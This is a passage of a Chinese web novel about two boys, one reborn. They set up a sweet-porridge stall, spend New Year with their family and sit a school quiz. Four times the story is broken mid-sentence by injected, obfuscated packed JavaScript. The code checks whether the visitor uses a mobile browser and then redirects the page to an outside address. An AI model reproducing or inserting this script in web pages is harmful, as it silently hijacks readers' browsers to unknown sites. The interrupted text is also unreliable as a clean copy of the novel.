因为太惬意了,江寻甚至都有些不好意思,有种浪费光阴的感觉。 但话虽如此,他还是悠闲地开始享受起了假期。 这个假日他们倒是还有一件事要做,那就是尝试着卖点东西,赚点银子。 上次说的卖香饮子,现在是冬日,肯定不合适卖。但他们可以做冬日的小食。先试练试练,真的不行,再说便是。 说干就干,他们先去了木匠老周那,询问了价格——打一辆专门的流动摊车,只要四百文,比镇上现成的便宜不少。至于,摊车边的桌椅板凳、锅碗瓢盆,以及炭化炉等,杂七八八算起来大概需要一两银子。 当然开销远不止这些,还包括原料费等。 他们还去吃了街边几家小摊的东西,吃完又去了杂物铺,把日用品的价 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363406|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格挨个看了一遍。 看完正准备回去的时候,他们再次碰到了沈德福。 “你们怎么会在这啊?” 江夜:“我们来买东西。”他们说了自己打算弄摊车的事情。 “你们想买东西,找我啊。” 原来沈德福的家人就是镇上专门卖杂货的,镇上最大的“好东西”就是他家开的。 江寻笑,“看不出来。”这么有银子,怎么还天天赚点歪瓜裂枣。 沈德福也跟着笑,“我爹娘说了,只要是银子,就别嫌少。不管怎么说,你们有什么问题只管找我,我能帮的肯定帮你们。” 在沈德福的指导下,他们知道了该去哪里交摊位费,也该注意点什么。就算有沈德福不知道的,他还可以问他的爹娘。 商议完,两人便邀请沈德福来他们家,一起试吃要卖的点心。 沈德福听说他们要卖的是点心,便道:“你们要卖什么点心啊?” 江寻笑,“你明日来吃吃看就好。” 沈德福道:“这点心不好卖啊,卖的人太多了。当然,如果你们做得好,也是可以的。” 江夜道:“阿寻有想法,我们就来吃吃看好了。” 江寻点头,他确实很有想法。这也是他前世一直想做而没机会做的事,开一个点心小铺子。 既邀请了沈德福,他和江夜回家时,顺道去粮店买了糯米、红糖和红枣。 江夜问:“就用这些吗?” 江寻:“就用这些。” 江夜道:“………会不会太简单了。” 江寻笑,“我觉得不会,有时候最简单的东西越考验手艺。我们先试试,不行再换。” 江夜应了声。 他们回到家,由江寻去跟爹娘说了打算摆摊的事情。 出乎意外的是,他们拒绝了。 夫妻俩的态度还出奇地一致。 江秀才道:“上次我还听吴夫子说,说你的课文背得不好,也不怎么听话。这个年,该在家好好背书才是。明年你也九岁了,还要深入学习五经,怎么能避重就轻,去弄什么摊车?”江夜他不好说,难道还说不得自己的儿子吗? 张氏也附和,“阿寻啊,你爹说得对。你在家好好背书,娘看你从来也不拿书。这样可比不上人家啊。” 江寻哑然,他竟不知道装差也是有坏处的。 但他一向慢条斯理地,解释道:“请父亲考我便是,若是有一句背不出来,或解释得不好,孩儿就老实在家安心读书。” 江秀才点头,“好,我去拿书,你等着。”说完就上楼拿经注。 一旁的江夜也为江寻捏了把汗,凑到他身边,打算等江秀才问的时候,偷偷给他提个醒。 但他看江寻半点不在意,反倒问娘亲,“娘,家里的桂圆还有吧?” 这弄得张氏急得半死,“寻儿啊,你认真一点。你要是考校不过,你爹可是会发火的。” 此时,江秀才拿着朱子注释的《大学》也下来了,翻开书问: “我且问你,第二页第七行,你背出来吧。” 7. 准备 江夜瞥了江寻一样,刚想给他提醒,却见江寻并没有看他,而是低头思索了一番,恭敬答道:“所谓诚其意者,毋自欺也。” 一旁的张氏忙去问江秀才,“对吗?” 江秀才咳了一声,“解释呢。” 江寻道:“一个人心里如何想,嘴上便如何说,手上便如何做,这叫‘诚意’。若心里知道这事不对,嘴上却说对,便是自欺。” 张氏又忙探头去问,“对不对啊。” 江秀才又道:“先算你过关。第三页,第四行。” 江寻背着手,又是故作思索一番,答:“是那句修身在正其心者吗?” 江秀才:“意思呢。” 江寻故意额了一声,“我尝试地解一下哦,意思是说把心摆正。” 江秀才:“这么简单吗?” 江夜见江寻被为难,忙替他解释,“意思是对的。” 江秀才:“………” 江寻:“孩儿算过关吗?” 江秀才咳嗽了一声,严肃道:“过关是过关了。但还是不能放松,明白吗?” 还是算过关吧。江寻笑,“爹爹放心,该重视的地方还是得重视起来的。” 江秀才没再说什么。 不过虽然江秀才这关过了,但江夜却还是不放心。 睡前,他跟江寻商量,“要不然给爹娘一点银子吧。这样他们就会知道,我们真的赚了些银子。” 江寻是无所谓的,抄书这两年,江夜抄得比他狠多了。一天十页的量,他有时候一个人就完成了。所以这二十两,江夜占大部分。 江夜不是爹娘的亲生孩子,他自然也不会让他把银子拿出来。 但说实话,他的爹娘收入并不算高。江秀才没有田地,只靠收束脩、官府贴补和替人写文过活,总计年酬四十多两。 总体并不稳定,全看那年的生源。 年酬不多,他却要承担一家所有人的支出,张氏又没有收入来源,一年耗费下来,杂七杂八,所剩已经不多了。 所以卖小食真的能赚钱的话,是很能贴补一些家用的。 江寻思考了一番,又道:“我们看看这次糖粥卖得如何,卖得好,给一点也无妨。这毕竟是你的辛苦银子。” 江夜笑:“那倒也无所谓。”反正以后他会有很多很多银子。 但冲着江夜的这份心,江寻还是铭记于心了。——这毕竟是他的爹娘啊。 另外,江夜的话倒是提醒了他,靠自己起步,毕竟太难,倒不如靠人起势。 书中所说,沈德福就是一个很好的“势”。他家的杂物铺后续会越做越大,但前期却差点没能挺过来。 自己要不要等他快要闯不过去的拉他一把呢。 他习惯两手把握,这样就算他的小食生意做不起来,自己还有有第二条出路。 所以等到次日的时候,等沈德福前来之前,江寻颇早就起来了。他这个糖粥是从前家里的厨子经常做的。前世的自己虽然不会做,但就是看人做自己也会了。 加上他还有张氏帮他。 食材在前一天晚上都准备好了,第二天就可以开始熬煮。 他将那浸了一夜的糯米倾入锅中,添上清水,灶膛里架上柴火。米粒在滚水里上下翻腾。他抽去几根柴,把火势压下来,只余一灶温温的火,让锅里的动静从滚沸转为轻滚。大约一个时辰之后,就闻到了扑鼻的糯米香。 他刚要打开锅盖,听到身后喊:“好香啊。” 江寻回头,笑,“你醒了?” 江夜道:“第一次见你这么勤快。” 江寻笑,“我也没那么懒吧。” 说着,他打开锅盖,放了红糖,又加了红枣与桂圆。最后灭了柴火煮了一盏茶的时间。 全部煮好后,江寻让它焖了一会儿,焖好,这糖粥才算好了。 这边刚做好,那边沈德福就来了。 小胖子一进来就大喊,“好香啊,老远就闻到了。” 江寻回头,“你先坐。” 江夜问:“这么早就来了。” 沈德福嘿嘿笑,“等着来吃你们的美食啊。” 江寻给沈德福打了一碗,“尝尝看。” 一旁的江夜道:“我呢,我没有。” 江寻道:“这也是你家啊。” 江夜:“好吧。”他自己去锅里打了一碗。 沈德福就着烫粥吃了一口,吃完,拍着大腿道:“好!很好。” 江夜也吃完了,赞道:“确实不错。” 沈德福:“这米很香,枣也甜,味道也不腻。我吃的糖粥都很甜,你怎么做到的?” 江寻笑:“我加了桂圆壳煮过的水,这水带了一点点淡淡的涩,能压住糖的甜。” 沈德福恍然:“原来如此,怪不得这么好吃。” 江夜道:“要我说,还是因为够烫,粥温就打折扣了。” 江寻:“正是。”说完,又问,“那这粥能卖吗?” 江夜和沈德福异口同声,“能卖!” 要卖的东西是准备好了。他们在沈德福的指导下又去了“坊正”,交了摊位费。本来那管事看他们是小孩子,还不予接待的。但听说沈德福是“好东西”沈老板的儿子,便同意了。 手续办完,他们又一起去备置家伙,先去了铁匠铺买了炭炉,去瓷器铺买了锅碗瓢盆,又去木匠铺租了桌椅和定制了一款专属摊车,又去炭行买了炭,最后一步就是买了个幌子。 字他们打算回家自己去写。 一切准备就绪,接下来他们就是选个好日子准备出摊了。 三人在一天的时间几乎把清河镇逛了个遍,再在街口分手言别。 沈德福:“下次再有什么卖什么,记得喊我啊。可别只让试吃了,我也想加入啊。” 江寻笑,“那是自然。”他想沈德福毕竟帮了他们那么多,也得回馈他一点,便道:“我们之前在墨斋坊抄书,收入也不错。” 听江寻这么说,江夜回头看了江寻一眼。他没想到江寻这么轻易就把这个赚钱的活告诉沈德福。其实说本来也没什么,也不是什么不可说的。 但他莫名就是……像是他和江寻的秘密突然被第三个人介入了一般。 果然沈德福确实感兴趣,“真的?好赚吗?” 江寻道:“好赚。你一天大概写十张左右,能赚三十文左右吧。” 沈德福:“哎,可我写得慢啊。你们写得快,又写得好,很合适。我不太行。不过阿寻,还是谢谢你了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363407|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江寻笑道:“不用。” 与沈德福分别后,江寻江夜两人回到家,便准备着给幌子写字。由于江夜的字更具锋芒,便由他来写。 就是摊名,两人还没想好。 江寻道:“就叫兄弟糖粥好了。” 江夜笑着打趣,“兄弟?我是兄,你是弟?也没见你喊我一声哥哥啊。” 江寻也笑:“我们相差并不大吧。”让他一个活了三十二岁的喊他一个九岁的小孩哥哥,怎么喊怎么别扭。 江夜:“相差不大也是哥哥,你看沈德福都喊我夜哥。” 江寻决定不再谈论哥弟的话题,“兄弟糖粥挺好的。” 江夜还就江寻为什么不肯喊他哥哥,偏执上了,“那我写兄弟粥铺,你喊我哥哥?” 江寻:“………那如意糖粥也行。” 江夜:“阿寻。” “如意粥铺,嗯?” 江夜提笔在幌子上写下,“兄弟粥铺”四个大字,字写得飘逸。就是写得太好了些,仿佛不够朴实。 江寻拿起来看了一眼,道:“你该写楷体。” 江夜道:“都写好了。” 江寻:“那就再写一张吧。” 江夜性格强势,胜负欲极强,答道:“不写了。” 江寻倒没那么强势,他是大部分温和,但若是他要完成的事情,是绝对要求完美的。之前不管是抄书、还是练字,他们都是各做各的,江寻又总是刻意退让,所以两人一直相安无事。 但今日两人便发生矛盾了。 但江寻不会选择正面对抗的解决办法,笑着说道:“那就这样吧。” 江夜看江寻走远,默不作声的,显是在生气。 他从没有哄人的习惯。 虽然这两年,他与自己形影不离,自己几乎把他看作是真的兄弟了。 他沉默不语地洗了脸回来,看江寻还是没说话,只是躺到床上看书。 江夜忍不住了,解释道:“我这个字确实没什么问题,为什么非得是楷体?” 江寻放下书,耐心解释:“这是糖粥铺,来买糖粥的都是妇女儿童,如果太有攻击性的话,别人怎么敢来呢?他不敢问,也不敢来。最好的办法,还是让他们隔着二十步就能认出来,咱们这是个粥铺,楷体符合我们的需求。” 江夜沉吟半晌,他妥协了。妥协完,又有些不敢置信自己被江寻说服。他是重生的啊,刚才明明还挺强势的。而且他到底是怎么说服自己的? 江夜咳了一声:“那就楷书吧。” 江寻:“那好,明日再写一张吧。” 次日他们便去另买一张幌子,江夜老老实实地写了个楷体,写完挂在那边。幌子迎风飘扬。 张氏走出来看到,笑:“哟,还挺气派。想好什么时候出摊了没?可得选个吉日啊。” 江寻笑问:“娘亲能帮我们选选吗?” 江夜也道:“请娘亲帮忙。” 张氏被他们劝说着,还挺不好意思,“你们信我的话,那就明日,明日日子好,大吉大利,最宜开张。” 江寻和江夜异口同声,“那就明日开张!” 说完,两人相视一笑。那些因幌子闹的不愉快自然烟消云散,毕竟还有更大的挑战等着他们。 8. 糖粥 第二日,江寻和江夜两人早早地起床。 当然,江寻基本起不来。 江夜先起来,他看江寻这样赖床,不由地想笑。怎么那么淘气呢。 他笑道:“起来了!”说着去拉江寻的胳膊。 “不想起来。”江寻迷迷糊糊地说。 “今日要出摊,你忘了。” 江寻没答话。 江夜想起昨日跟他慢条斯理解释幌子的人,本来还觉得这样看的话,确实不像弟弟。 现在么…… 还是弟弟啊,懒洋洋的弟弟啊。 平日里起不来也就算了,但今日不行。 他把人提起来,推着他起身。但江寻一起来就软倒,江夜只能将他半抱在怀里。 “阿寻,你如果再不起来。我要挠你痒痒了。” 江寻嘤嘤地表示听到了,靠在江夜的肩上,“一盏茶,再睡一盏茶就起来了。” 江夜哭笑不得,“好,一盏茶。” 他先起身去洗脸洗漱,还下了楼准备出摊的食材。 一切准备就绪又上楼,看到江寻已经起来了,衣服也换好了。 “还道你起不来呢。” 江寻笑,“这还是能起来的,就是着实太冷了些。” 江夜看江寻把自己包成粽子,笑,“要我说。这出摊还是太辛苦。” 江寻:“我们走吧,再不易也得开始啊。” 耽搁了一会儿,总算还是开始了。 这还是他们第一天,江秀才和张氏自然得帮他们,两人帮着他们推着摊车到了前街镇东茶棚。这里是有很多干活的人,会选择吃点东西再走。 当然,他们留在这里的原因是,毕竟两个孩子年纪这么小。但他们又不得不承认这两个孩子是有点本事的,就冲他们能抄两年的书,赚了二十两。 江夜道:“爹娘,你们回吧,我们可以的。” 江秀才道:“让我们再留一会儿,帮帮你们。” 江寻道:“我们行的,这邻里都是认识的。”他指着不远处也有跟他们差不多岁数的孩子出来叫卖,“他们能行,我们也是。” 江秀才和张氏被说服了,临走前还是不放心,又是嘱咐这个,又是嘱咐那个的,念了一大堆地才恋恋不舍地走了。 爹娘走后,这才是真正的“兄弟糖粥铺”了。 江寻负责煮粥,江夜要忙的事情也很多,摆几个桌椅,算账管钱,吆喝揽客。 等到天色渐明的时候,糖粥也煮好了,香气远远地飘出来。 很快他们就有了第一个上门的生意,是个粗汉子。 那汉子看到他们是孩子,还笑着说:“你们的爹娘呢。” 江夜道:“就我们两个,兄弟糖粥,您抬头看看。” 汉子抬头看了,笑着点点头。 江夜将那晚糖粥递给那汉子,那汉子坐在桌上吃了。 这毕竟是他们的第一单生意,江寻江夜两人还挺紧张的,他们盯着那汉子吃完,吃完后又听他说:“再来一碗!” 江夜忙给他又打了一碗,那汉子迅速地又吃了。 于是两人便有了第一笔银子,一共三十文,净赚二十文。当然,距离回本还有段距离。但卖出去的巨大喜悦,把什么都冲淡了。 但喜悦只是暂时的,这一个客人之后,接下来他们就没人光顾了,全部都到隔壁的面摊去了。 他们知道,这是缺少一些曝光度呢。 普通人想抢占市场,除了实力够硬,也得先让别人知道他们兄弟糖粥吧。 江寻很快就想出了办法,对江夜道:“我们得改良一下我们的摊车。” 江夜问:“怎么改?” “改得更吸引人一点。” 江夜:“这得回去做。——开业第一日,先打开名气吧。” 江寻:“三文一碗?” 江夜:“也行,但只限前三十。” 江寻帮他补充:“两人同行,第二碗半价,鼓励他们结伴来。” 江夜嗯了声,“我来写。”他看江寻的脸都冻红了,“还是冷吗,你去烤火,我来就行。” 江寻:“还好的。” 江夜扶住江寻的肩,“让你去就去。” 江寻坐到了炭炉边,热意瞬间笼罩着他。他回头看江夜,不禁想,倒是有几分哥哥的样子。 也许叫哥哥,也能增加点好感度? 他看江夜在红纸上迅速地写了几行字,正是他们刚才讨论的东西。他写字的模样一板一眼的,看着像一个小孩子,却有几分名士的气质。但很快这名士气质就消失了,挂好牌子后,江夜便开始吆喝起来,“好吃的糖粥啊,好吃的糖粥,三文一碗啊。快来尝一尝啊。” 江寻忍不住就笑了。 哥哥这么卖力,自己也不能闲着。 面子算什么,能有银子重要吗?再怎样,得把这本先赚回来吧。他也跟着走到江夜身边,大声附和:“糖粥——热乎的——刚出锅——闻着香—— “婶子,带一碗回去吧?给家里孩子尝尝。 “小哥哥喝粥不?甜的,还有枣——” 也许是他说得好,江夜也跟他学。 两人你一句,我一句的,真的招揽了不少客人。关键还是两人的声音抑扬顿挫的,清脆好听,在前街众多的摊位里非常显眼。 因为粥太便宜,很快,他们也迎来了卖粥高峰,摊前排起了长队。 很快,前三十名的名额一下子就用完了,他们恢复了原价。 但买粥的人数只多不减。 清晨结束,他们便转到了庙门口,慈恩寺上香的人多,卖的是最快的。他们甚至不需要用到促销的办法。因此,他们也有了经验,庙口才是卖粥的好地方。 就这样到了中午,他们的糖粥便全部都卖出去了,只能提早收摊。 不过,他们也估摸着知道大概要做多少糖粥了。 回去的时候,爹娘也过来帮他们收摊。听说他们都卖完了,两人还不敢相信。张氏去看了木桶,是空的,真的全部都卖完了。 江寻道:“娘亲猜猜我们今日收入多少?” 张氏:“一百文?” 江寻摇头,“再猜。” 张氏道:“儿子,你就告诉为娘吧。” 江寻:“是三百文。” 江夜道:“再卖几碗,摊车的本钱就回来了。” 张氏摸着胸口顺气,“三百文!!这要是卖三十日那就是……”她都说不下去了。这可比夫君当什么私塾夫子,或者给人代笔写书信要强。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363408|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江寻:“娘,我们读书的时候,你也可以来摆。” 张氏蠢蠢欲动,“那你教教娘。” 江秀才笑,“儿子啊,你可别给我们画饼了。你们啊,最多不出三天,就不会再摆了。” 江寻问:“那超过三日怎么办?” 张氏抚住江寻的肩,笑道:“还别说。我信你们!阿寻,阿夜,你们好好做。做好了教教你娘,娘也想赚点小银子。” 江夜:“好,等过了除夕,大年初一我们再出来摆,好好赚他一笔。” 一家人一起推车回家,准备过除夕。 除夕当日,两人本想给摊车稍稍装饰一下。但已至年关,家家户户都关门,只能作罢,以后再说。既不能去卖糖粥,年夜饭也不需他们来做,两人只能坐在院子里,一个看书,一个看蚂蚁。 张氏看他们坐在院子里无聊,笑道:“要不你们去玩会儿鞭炮,饭很快就好了。” 江寻想的是,他一个三十岁的人玩什么鞭炮。 恰好江夜也是这样想的。 但两人还是找到了一起要做的事。 江秀才给他们弄了个枣树苗儿,说是让他们来种。 枣树是很好的,一来它不遮光,也不招虫子;二来有用,枣好吃;三来虽说“枣”生贵子用不上,但“枣”日中举他们还是用得上的。 两兄弟得了这个任务,便凑在一起准备种树。就在水井边,因为井边的土常年湿润。挖了坑,撒了灰,放了苗,填了土,浇了水。一系列流程下来,这枣树就种好了。 树根如筷子般粗细,光秃秃的。但相信很快就能茁壮成长。 江寻好奇地问,“这能活?” 江夜:“能。这玩意皮实得很。” 江寻笑,“弄得你好像种过一样。” 江夜没搭话,他前世的府邸却有几颗枣树。他只是没想到今生倒是和江寻种上了。 “你信不信我?” 江寻坐在一旁,“信啊。”然后轻轻喊了声,“哥。” 江夜本还在观察着这枣树,想着要不要再用竹竿固定一些,这样是为了稳定树干。但他听到江寻喊他,怀疑自己听错了,“你喊我什么?” 江寻:“只有这一次。” 江夜:“一日为哥,终生为哥。” 江寻:“…………”什么乱七八糟的。他起身往灶房去,准备开饭了啊。 江夜亦步亦趋,“知道了没,江寻弟弟。” 江寻听着系统里传来的任务音,说是恭喜他获得五点好感度,实在是有点无语,叫声哥就两点!那他与他抄两年书算什么!——这人真是排外啊。 “不知道。” “以后都要这样喊,不然的话哥哥以后不带你玩了。” “我好稀罕。” 江夜笑:“你说得对,是我稀罕。咱们都‘兄弟糖粥’了。” 说话间,两人已经坐下了。张氏和江秀才笑着问他们在聊什么。 江夜开心地老实回答。 此时灯火三分,有热腾的饭菜,和可亲的家人。江寻想,也许就这样过一辈子也不错,多一个哥哥也还行。 江夜还要继续说。 江寻夹了一块鸡肉放在江夜的碗里,“吃饭吧,哥哥。” 9. 提醒 这顿年夜饭,吃得江夜产生某种很奇妙的感觉,仿佛是,他好像从未真的活过,享受过家人。而事实是,确实如此。 前世,虽然他们没这么对付他,但因为江寻的不喜,他从未跟江秀才和张氏产生哪怕一丝关联。这少年一直防备着他。 ——但今生的江寻是不一样的。 吃了饭,江夜主动问江寻,忍不住道:“一起放鞭炮吗,哥哥带你去。” 江寻的眼神略带震惊,缓了一下才道:“天色不早,还是早些睡觉吧。” 江夜:“……你真的不像个八岁的孩子。” 江寻:“………咱们彼此彼此。” 上了楼,江夜还是决定多扮演扮演哥哥的角色,凑上前:“那你给我说完那《玉观音》的事。” 江寻:“你不是已经猜出来了?” 江夜:“?” “你的反应。” 江夜继续逞强:“………我没怕。” “我没说你怕啊。这样吧,哥哥,我给你讲完。那崔宁见到秀秀,相信了她。两人便一起走,开了一家碾玉铺子,一家人其乐融融。” 江夜:“所以那秀秀是鬼。” 江寻没答,“此事被报告给了郡王,郡王被人去捉,崔宁才知道的。” “结尾如何?” 江寻拿起书,摇了摇,“还在看。” 江夜笑:“有空借我看看。” “好。” 两人聊完,江夜去了外面,重生归来后,他决定从小勤修武术,把以前拉的全部都补回去。只是这件事得悄悄地做,以后找个机会让它合理。 等他练好回去,就看江寻已经靠在那睡着了,头枕着书,趴在床上,模样非常可爱。他想起江寻平日里老气横秋的模样,偏偏睡觉又过分乖巧。 他帮他把被子盖好,也跟着上床睡觉。 年初一,两兄弟便商量着一起去卖糖粥,张氏和江秀才见儿子们这么努力,也不好闲着,帮着他们一起。在其他人花了大把银子过年的时候,江氏一家则赚了盆满钵满的,一直到年十五元宵上学,不仅把成本赚回来了,还额外收入近三两银子。 三两并不是一个小数目, 江秀才在私塾里教书,每个学生一年的束脩也就二两左右。 事后一家四口坐在一起数银子,看到桌上一堆哗啦啦的铜板,大大小小,明晃晃一片。这种心情是难以言喻的。 张氏满脸喜气,笑:“要我说,还是这糖粥好。寻儿,你是哪里学的那么好吃的糖粥。”江寻的糖粥十分特别,跟寻常人家做的完全不一样,回头客特别多。 江寻笑,“我从杂书上学的。我还有一些小点心,娘亲可要学?” 张氏:“你且告诉为娘,等日后看看能不能增加点其他点心。” 江秀才见娘子只顾赞扬儿子,道:“要我说,糖粥是好,也离不开阿夜的主意。” 张氏即刻会意,“是是是,阿夜,这些日子最辛苦的还是你了,帮着叫卖。这糖粥再好,卖不出去也是枉然。” 江夜并不介意,“我和阿寻,谁的功劳也少不了,当然,爹娘,你们帮的忙也很多。” 一家四口其乐融融,江秀才:“这赚来的银子就给你们当束脩了,爹娘再添补一些,这叫尊师礼。” 江寻和江夜也没多说什么。这脩金只能给的。如果他们说不去上学,爹娘两人估计得要疯。还是别太不一样了。 过了元宵节,两兄弟收拾了一下准备上学。张氏想着家里收入也多了些,还专门给他们置备了新衣裳,和新书囊。 江寻看到那个新布包的时候,是拒绝的。他真的要完全表现得像一个八岁小孩吗?不,他不要。 但他是如此,江夜却挺高兴的,背好后还主动问江寻,好看不好看。 江寻只能拼命夸奖,希望多夸一些,能多拿一些好感度奖励。 到了私塾,他们两人自己去交了脩金。 也许是交了脩金,那吴夫子也没有给他们脸色看,而是轻声嗯了声,还跟他们说了些吉祥话。 至于对于江寻和江夜来说,新的一年,他们也会安安静静的。——吴夫子别惹他们,他们也不会主动与他对着干。 新的一年吴夫子也给他们布置了新的任务,除了大学之外,还背《中庸》。 “另外,后日我们私塾先举行一个小考,让我看看你们的水平。年中的时候,咱们私塾跟隔壁几个镇联合有一个季考,大家做好准备,别给我丢脸。” 吴夫子话音刚落,学堂底下立即响起哀嚎声。 “一开学就考,不会吧。” “太过分了吧,真不是人啊。” 吴夫子拿着个戒尺在桌案上拍得噼里啪啦响,“安静,安静!考试的内容也很简单,《三字经》《千字文》,《孝经》《大学》,可明白?另外,今年要开始学习作文了,大家都上点心。” 一句一句的,每说一句,底下就哀嚎一句,且是真哀嚎,不是虚的。 “现在大家跟我念一遍《中庸》,我念一句,你们跟一句,都精神一些。”吴夫子说完,拿着戒尺开始念叨起来。 这里的一切,江寻都充耳不闻,他沉浸在新借的书里,是一本《洗冤录》,专讲各种离奇命案的勘验。也许是看得太专注了,直到吴夫子快要巡视到他身边的时候,都没有察觉。 他是没看到,但坐在他身后的江夜看到了。 他知道江寻的注意力又在别处了,他无可奈何,也习惯了。但眼看着吴老头越来越近,他只能通过咳嗽来提醒他的好弟弟——吴夫子来了。 但他的咳嗽声很快就被淹没在郎朗的读书声中。 于是江夜只能咳得更厉害一些。 他咳得这般厉害,江寻还是充耳不闻。 反倒是引起了吴夫子的主意,吴夫子摆了摆手,顿时课堂恢复了寂静。 他问江夜,“江夜,你怎么了?” 吴夫子在问的时候,江寻也终于转了过来看他。 江夜松了口气:“…………没事,呛到了。” 吴夫子不耐地一扬手,“都继续吧。” 学堂里的弟子们又开始摇头晃脑起来。 念完之后,是自由朗读时间。江寻转过头问:“哥,你怎么了?” 江夜:“………我提醒你。” “提醒什么?” “刚才朗读的时候,你头都没抬一下啊。” 江寻:“……是这样啊。” 江夜;“…………”他表示很担心弟弟,这么小就不务正业可怎么办啊。“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363409|199785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还记得我们之间的那个约定吧?就从这次小考开始吧。你垫底,可要听我的。” 江寻笑笑,“放心,不会垫底。还有朱红呢。” 说到朱红,他们都看向那次在山神庙头破血流的孩子,当然,过了个年,已经痊愈了,但留了一个小伤疤。朱红似乎是察觉到他们在看他,回头狠狠地瞪了他们一眼。 江寻笑,“我一点也不急。” 江夜:“…………” 吴夫子说到做到,只给他们一天的准备的时间,就安排了小考。考试内容对于吴夫子来说,自然是简单得不行。 但对于其他弟子来说,卷子一发下来之后,大家都要哭了。 当然,除了江寻和江夜。 江寻因为和江夜有了那个赌,便也上了心。只不过,这考第一名,自然是容易的;考倒数第二名,却是不容易的。 这么一张满当当的卷子,江寻也有不知该如何下手的时候。 他生怕自己一不小心就考进了前三,从此让其他人——刮目相看。 他冥思苦想地下了决定,把跟三字经有关的写了,其余的,一律空着。《三字经》嘛,太简单,这还能忘了? 写完,他心满意足地交了卷。 …… 到了阅卷环节,吴夫子就发现,整个学堂只有江寻一个人将《三字经》一字不落地全填上了。 甚至连江夜,也是三字经这里翻了小车。 吴夫子是既赞叹,又奇怪。怎么能什么都记不住,偏偏只记得最简单的《三字经》啊。 他差生也见多了,再差,也绞尽脑汁写几句上去。哪里像江寻的,一会就会一大片,一不会就全部都空着呢。 次日,吴夫子满脸严肃地在台上怒斥他们: “本次小测,简直让为师大失所望!这样的成绩,如何参加三个月后的季考?你们想气死我吗?想让为师在四里八乡丢人现脸?那我可告诉你们,没门!” 吴夫子骂得吐沫横飞,继续道:“这么简单的《三字经》,也就让你们默写十句话,你们才背了多久?全班竟只有一个人全部写出来了!” 听到这个,底下的弟子顿时窃窃私语,“谁啊,谁全部都写出来了。” “肯定是江夜,我看他全写满了。” 江夜也以为是自己,直到听到吴夫子说,“这人就是江寻!江寻,上来拿卷子。” 话音刚落,他和其他人都看向江寻。 江寻满脸问好:“??”不是吧,《三字经》这么简单,居然已经忘了吗?还有,都已经是倒数,没必要因为这个特地表扬吧。 他迎着头皮上前去领卷子。 吴夫子的态度没那么严肃,仿佛只有他没有让他失望。 江寻接过卷子,看到卷子上那鲜红的下等,松了口气,幸好,还是“下等”卷子。但下等旁边有个批语,写着:“《三字经》全默正确,可嘉。” 他拿着退回到自己的座位。 回去后江夜就笑道:“不错啊,弟弟。” 江寻:“谢了,但还是下等卷。” 江夜:“我之前倒不知道,你《三字经》背得这么熟。”或者,他就从来没见江寻背过书。“你什么时候背的?” 江寻:“也许在你睡着的时候。” 10. 跑步 这话说的,让江夜想起自己悄悄地练习武术。 江寻之后,吴夫子才开始报学堂的第一名,自然而然,第一名的还是江夜。江夜拿到卷子之后,粗粗地看了一眼自己的卷子。 确实是,他全写出来,但有一句很容易混淆的话默错了。他微微垂眸,又抬头看了一眼江寻。 那种看着自己比他强,但时刻被他压制的感觉又来了。 发完卷子,吴夫子道:“本次小考的名次已经贴在外面了。你们自己去看看。” 听到这句话,江寻有种不好的预感。 等散了学,江寻坐在位置上不动,江夜去看榜了。每次都是如此,旁人估计会以为他是不敢看榜,其实他是懒得去看。且每次张榜完,那些考得比他好的同学还会反过来安慰他,什么“没关系,下次努力。”倒弄得他不好意思。 他坐在座位上等着江夜回来。 过了一会儿,江夜回来,目光炯炯有神地看着江寻,“想知道你这次第几名吗?” 江寻:“反正不会是前三,我猜是第十八吧。”全部同学加起来也就二十人。 江夜:“………”这种自信到底哪里来的,精准控制自己的名次? “对不对?” “……对。” 江寻笑,“大差不差。朱红最后吧?” 江夜:“没有他。” 江寻:“为什么?” 旁边的沈德福凑过来道:“他作弊了。” 江寻震惊,“我怎么不知道。” 沈德福:“因为是考完有人举报的。” 江寻:“………”下次得考第十名,也就是超过沈德福。 